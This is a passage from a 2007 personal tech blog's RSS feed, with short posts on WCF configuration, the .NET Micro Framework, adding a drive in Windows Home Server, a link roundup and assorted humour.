		href = &#34;http://www.rottenneighbor.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rotten Neighbors
	&lt;/span&gt;
&lt;/a&gt; for the UK ! 😃&lt;/p&gt;
&lt;p&gt;What is it? If you have a rotten neighbor then you can tell the world about them. You can browse to your neighborhood and plot your own marker with a complete description Here is &lt;a
	
		href = &#34;http://www.rottenneighbor.com/vimsearch.php?address=94583&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		an example
	&lt;/span&gt;
&lt;/a&gt; from in the neighborhood where I use to live in California.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Avanade Netherlands having too much fun?</title>
      <link>/post/2007/09/avanade-netherlands-having-too-much-fun/</link>
      <pubDate>Sun, 30 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/avanade-netherlands-having-too-much-fun/</guid>
      <description>&lt;p&gt;Avanade in Netherlands went on a campus recruitment drive and seem like they are &lt;a
	
		href = &#34;http://www.hongerige-iters.nl/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		having too much fun
	&lt;/span&gt;
&lt;/a&gt;! In case you are like me and do not understand Dutch, then what it says is &amp;ldquo;Food for IT guys&amp;rdquo; and essentially was a marketing drive on various campuses where prospective interns for Avanade were offered some food (looks like chips) in exchange for their emails. I think the whole idea is just brilliant! We should do something similar in other regions.&lt;/p&gt;
&lt;p&gt;I do like the attention to detail - check out the resume - I love it. In case you have not notices that is a small movie with a play button on the bottom left.&lt;/p&gt;
&lt;p&gt;I wonder if I update my resume to look like that - would it work in the real world? &lt;p&gt;

    &lt;img src=&#34;images/emotion-11.gif&#34; alt=&#34;Cool&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4753&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Feist 1234</title>
      <link>/post/2007/09/feist-1234/</link>
      <pubDate>Sun, 30 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/feist-1234/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://journalism.nyu.edu/portfolio/bahree/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Megha
	&lt;/span&gt;
&lt;/a&gt; send me this one; I had never heard of these guys but I do recognize the music from the new iPod Nano advertisement.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4747&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vista SDK Dialog</title>
      <link>/post/2007/09/vista-sdk-dialog/</link>
      <pubDate>Sat, 29 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/vista-sdk-dialog/</guid>
      <description>&lt;p&gt;&lt;code&gt;&amp;lt;rant&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I was trying to install the Vista SDK and due to my network card having some issues I wanted to reboot. However, before doing that, I had to cancel the SDK setup (as it downloads the bits during the setup process).&lt;/p&gt;
&lt;p&gt;Now I understand the need to warn the user not to do &amp;ldquo;close&amp;rdquo; the setup as the installations is rolling back to previous state - but the need to have a topmost window is very irritating and not required. It is not like that the SDK would be installed by a &amp;ldquo;average user&amp;rdquo; with the need to have this constant reminder &amp;ldquo;in the face&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;/rant&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WCF Configuration Schema</title>
      <link>/post/2007/09/wcf-configuration-schema/</link>
      <pubDate>Sat, 29 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/wcf-configuration-schema/</guid>
      <description>&lt;p&gt;WCF&amp;rsquo;s configuration is somewhat complex and the first time you start using it can been daunting. Below is an image of the schema published by Microsoft. You can print this out on a A3 or something and use it has a handy reference.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/WCFConfigurationSchema_A634/wcf_config_schema.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/wcf_config_schema_thumb.png&#34; alt=&#34;wcf_config_schema&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Time to boycott Apple?</title>
      <link>/post/2007/09/time-to-boycott-apple/</link>
      <pubDate>Fri, 28 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/time-to-boycott-apple/</guid>
      <description>&lt;p&gt;If I bought an expensive gadget, I own it and can do anything with it (as long as it is legal of course). So &lt;a
	
		href = &#34;http://news.bbc.co.uk/1/hi/technology/7017660.stm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		if an update deliberately bricks
	&lt;/span&gt;
&lt;/a&gt; the gadget how is not bullying? Also is it legal (obviously I am no lawyer). Phht &amp;hellip; and people say Microsoft acts life a bully! I think it might be time to boycott Apple and take my business elsewhere.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4741&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Loo signs</title>
      <link>/post/2007/09/loo-signs/</link>
      <pubDate>Mon, 24 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/loo-signs/</guid>
      <description>&lt;p&gt;Pretty hilarious (and probably true) - how the &lt;a
	
		href = &#34;http://www.flickr.com/photos/jakesmome/106404644/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		loo/restroom/bathroom signs should be
	&lt;/span&gt;
&lt;/a&gt;. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #7</title>
      <link>/post/2007/09/interesting-find-7/</link>
      <pubDate>Thu, 20 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/interesting-find-7/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.anywhere.fm/player/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Anywhere.FM
	&lt;/span&gt;
&lt;/a&gt; can be thought as iTunes for the Web. It allows you to upload your music (yes including those songs bought from iTunes), so you can get to your music from anywhere. You can also &amp;ldquo;share&amp;rdquo; the music with friends like a &amp;ldquo;radio station&amp;rdquo; and of course browse other user&amp;rsquo;s radio station. Sweet! 😄&lt;/li&gt;
&lt;li&gt;If you travel a lot and need a decent solution to manage the various expense receipts (or are just plain lazy then check out &lt;a
	
		href = &#34;http://www.neatreceipts.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Neat Receipts Scanner
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.fauxto.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Fauxto
	&lt;/span&gt;
&lt;/a&gt; - think Photoshop for the web.&lt;/li&gt;
&lt;li&gt;If you really want job security, then check out &lt;a
	
		href = &#34;http://mindprod.com/jgloss/unmain.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		how to write unmaintainable code
	&lt;/span&gt;
&lt;/a&gt;. 😄&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.resourceshelf.com/2007/07/09/a-quick-look-of-a-few-free-science-search-tools-scirus-live-search-academic-google-scholar-scitopia-global-science-gateway-and-more/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Search Lab
	&lt;/span&gt;
&lt;/a&gt; - free Science search tools - just want you needed for any science-related-research.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PsExec
	&lt;/span&gt;
&lt;/a&gt; is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/2007/jul/12/guardianweeklytechnologysection.it&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Splog and sploggers
	&lt;/span&gt;
&lt;/a&gt; - what?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.centraldesktop.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Central Desktop
	&lt;/span&gt;
&lt;/a&gt; - another collaboration tool.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://altsearchengines.com/2007/06/06/the-top-100-alternative-search-engines-june-2007-2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Top 100 Alternative Search engines
	&lt;/span&gt;
&lt;/a&gt; - alternate to google - worth a spin.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.intelliadmin.com/blog/2007/09/download-free-hard-drive-imaging.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Free disk imaging software
	&lt;/span&gt;
&lt;/a&gt; (as long as you own a Seagate or Maxtor drive).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.theinquirer.net/default.aspx?article=42508&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Laptop lid cooling
	&lt;/span&gt;
&lt;/a&gt; - where the industry might be heading.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.thedailygreen.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The daily green
	&lt;/span&gt;
&lt;/a&gt; - a consumer&amp;rsquo;s guide to being green. I personally like the weather watch gallery such as &lt;a
	
		href = &#34;http://www.thedailygreen.com/2007/04/16/sitting-on-the-edge-of-the-world/193/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		sitting on the edge of the world
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Rules of Threading</title>
      <link>/post/2007/09/rules-of-threading/</link>
      <pubDate>Thu, 20 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/rules-of-threading/</guid>
      <description>&lt;p&gt;As Mr. Kale so eloquently puts it (and of course 100% correct):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If you think you need multi-threading, you&amp;rsquo;re wrong&lt;/li&gt;
&lt;li&gt;If your specification says &amp;ldquo;you need threading&amp;rdquo;, see Rule 1&lt;/li&gt;
&lt;li&gt;(For advanced users only) If you think you need multi-threading, you&amp;rsquo;re &lt;em&gt;probably&lt;/em&gt; wrong.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4662&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hitachi - Get Perpendicular</title>
      <link>/post/2007/09/hitachi-get-perpendicular/</link>
      <pubDate>Fri, 14 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/hitachi-get-perpendicular/</guid>
      <description>&lt;p&gt;You must have heard of the perpendicular storage now coming out - but how is this any good. To understand this listen to &lt;a
	
		href = &#34;http://www.hitachigst.com/hdd/research/images/pr%20images/Get_Perpendicular.swf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		poor HDD sector explain it
	&lt;/span&gt;
&lt;/a&gt; - pretty cool.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4633&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MS DOS 5 Upgrade</title>
      <link>/post/2007/09/ms-dos-5-upgrade/</link>
      <pubDate>Tue, 11 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/ms-dos-5-upgrade/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4629&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>.NET &#34;Micro&#34; Framework</title>
      <link>/post/2007/09/net-micro-framework/</link>
      <pubDate>Fri, 07 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/net-micro-framework/</guid>
      <description>&lt;p&gt;No, there is no typo in the title of this post - there is a &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/embedded/bb267253.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		.NET &amp;ldquo;Micro&amp;rdquo; Framework
	&lt;/span&gt;
&lt;/a&gt; (which is a Microsoft stack in case you were wondering). I had not heard of such a thing &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/embedded/bb278106.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		until today
	&lt;/span&gt;
&lt;/a&gt; (but then I have not done any embedded stuff for a while).&lt;/p&gt;
&lt;p&gt;It is designed to use only a few hundred kilobytes of RAM (512K) and an inexpensive processor (ARM7 and ARM9 based). In addition to the usual managed code advantages (GC, exception handling, etc.) it also supports standard interface such as &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SPI
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/I2C&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		I2C
	&lt;/span&gt;
&lt;/a&gt;,  (Serial) &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/SGPIO&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GPIO
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/USART&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		USART
	&lt;/span&gt;
&lt;/a&gt;. You can &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?familyid=32f5df20-6c95-4fe8-a76c-0ed56a839ad2&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download the SDK
	&lt;/span&gt;
&lt;/a&gt; and use it with VS 2005 (or higher) and of course get all the productivity gains of the IDE.&lt;/p&gt;
&lt;p&gt;There is also support for Flash-based devices with tools allowing you to &amp;ldquo;re-flash&amp;rdquo; and there are a number of developer kits such as &lt;a
	
		href = &#34;http://www.digistoreonline.com/searchresults.asp?search_id=20&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Digi Connect
	&lt;/span&gt;
&lt;/a&gt; for Ethernet networking solutions, &lt;a
	
		href = &#34;https://shop.embeddedfusion.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EmbeddedFusion Tahoe
	&lt;/span&gt;
&lt;/a&gt; which works with a Meridan CPU and &lt;a
	
		href = &#34;http://www.freescale.com/webapp/sps/site/overview.jsp?nodeId=02XPgQ8217297301A5&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Freescale i.MXS
	&lt;/span&gt;
&lt;/a&gt; which allows you to build SideShow apps - they are not cheap mind you.&lt;/p&gt;
&lt;p&gt;Basically this gives you another choice when working on an embedded platform. The various pros and cons of the three options available i.e. .NET Micro Framework, Windows CE, Windows XPe (that is XP Embedded) are &lt;a
	
		href = &#34;http://msdn2.microsoft.com/embedded/bb278106.aspx#table&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		outlined here
	&lt;/span&gt;
&lt;/a&gt; - interestingly &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/robotics/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft Robotics Studio
	&lt;/span&gt;
&lt;/a&gt; is not featured in that comparison.&lt;/p&gt;
&lt;p&gt;Now the challenge will be to get some time to sink my teeth in this.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My book available on Books24x7</title>
      <link>/post/2007/09/my-book-available-on-books24x7/</link>
      <pubDate>Fri, 07 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/my-book-available-on-books24x7/</guid>
      <description>&lt;p&gt;I was pleasantly surprised to see the appearance of my book, &lt;a
	
		href = &#34;http://www.apress.com/book/view/1590597028&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pro WCF
	&lt;/span&gt;
&lt;/a&gt; on &lt;a
	
		href = &#34;http://www.books24x7.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Books24x7
	&lt;/span&gt;
&lt;/a&gt; today. Below is the screen shot from the email 😄&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MybookavailableonBooks24x7_9D58/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Missed the plot?</title>
      <link>/post/2007/09/missed-the-plot/</link>
      <pubDate>Tue, 04 Sep 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/09/missed-the-plot/</guid>
      <description>&lt;p&gt;I have been playing with some of the P2P stuff in .NET 3.5 and seems like to have missed the plot along the lines somewhere while debugging &amp;hellip;. 😄&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/Missedtheplot_F8C6/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Miss South Carolina&amp;#039;s Answer to Question - Miss Teen America</title>
      <link>/post/2007/08/miss-south-carolinas-answer-to-question-miss-teen-america/</link>
      <pubDate>Fri, 31 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/miss-south-carolinas-answer-to-question-miss-teen-america/</guid>
      <description>&lt;p&gt;To laugh or to cry &amp;hellip; that is the question.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4596&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CS 2007 SP3 (Beta)</title>
      <link>/post/2007/08/cs-2007-sp3-beta/</link>
      <pubDate>Wed, 29 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/cs-2007-sp3-beta/</guid>
      <description>&lt;p&gt;Seems like many others are following the MS route in releasing Betas - which might not be the best thing in the world. Telligent has now released the &lt;a
	
		href = &#34;http://communityserver.org/blogs/announcements/archive/2007/08/27/community-server-2007-sp3-pre-release.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CS 2007 Service Pack 3 (Pre-Release)
	&lt;/span&gt;
&lt;/a&gt; with a long list of fixes and &amp;ldquo;new features&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4588&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Finding out TFS Version</title>
      <link>/post/2007/08/finding-out-tfs-version/</link>
      <pubDate>Wed, 29 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/finding-out-tfs-version/</guid>
      <description>&lt;p&gt;If for some reason you wanted to know what version (and possibly license) of &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/teamsystem/aa718934.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS
	&lt;/span&gt;
&lt;/a&gt; were you running (as a fellow Avanut did in the communities), then check out &lt;a
	
		href = &#34;http://devmatter.blogspot.com/2007/07/how-to-determine-what-version-of-tfs-is.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this tool by Jeff
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Speaking of TFS, Brian has &lt;a
	
		href = &#34;http://blogs.msdn.com/bharry/archive/2007/08/08/final-tfs-2008-feature-list.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		published the &amp;ldquo;final&amp;rdquo; feature list
	&lt;/span&gt;
&lt;/a&gt; of what to expect in TFS 2008 including compatibility with VSTS 2005.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4577&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding a Drive in WHS</title>
      <link>/post/2007/08/adding-a-drive-in-whs/</link>
      <pubDate>Sat, 25 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/adding-a-drive-in-whs/</guid>
      <description>&lt;p&gt;I have been experimenting with Windows Home Server at home and running the RC1. I was low on disk space (having only one internal 80 gb HDD which was also running the OS). It started with one of the &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/07/31/windows-home-server-s-network-health.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		annoying Network Health alerts
	&lt;/span&gt;
&lt;/a&gt; telling me I am low on disk space. Since there was no room in the old machine I am running this one to add another internal HDD I decided to plug in an external USB HDD.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Thankfully installing a new drive and configuring this in WHS is a &amp;ldquo;no brainer&amp;rdquo; by design given the target audience of your average user. Once the OS has installed the drive it shows up in WHS (as you can see below). However, at this time this disk is not part of the storage available to WHS.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_3.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;To make the disk part &amp;ldquo;available&amp;rdquo; to WHS you need explicitly add this disk. To do so right click and choose add and then follow the prompts. Of course you will loose all data on that drive so make sure there is nothing on it you might keep.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_4.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_4.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The rest is just a matter of following the Wizard.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_5.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_5.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_6.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_6.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_7.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_7.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/190c1fc1cbd7_13990/image_8.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_8.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Of course adding an internal disk would entail more work as you would need to shutdown, open the case and add the drive. Also I did not need any drivers, etc but if the OS needs any drivers to recognize the disk all that is something you need to manage and cannot handled by WHS.&lt;/p&gt;
&lt;p&gt;Lastly, WHS does not use RAID, but some other mechanism to achieve the same results. As a result you don&amp;rsquo;t see any options for this when adding a new drive. If you want redundancy you need to select the &amp;ldquo;Enable Folder Duplication&amp;rdquo; option on your data.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4507&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Mapplets</title>
      <link>/post/2007/08/google-mapplets/</link>
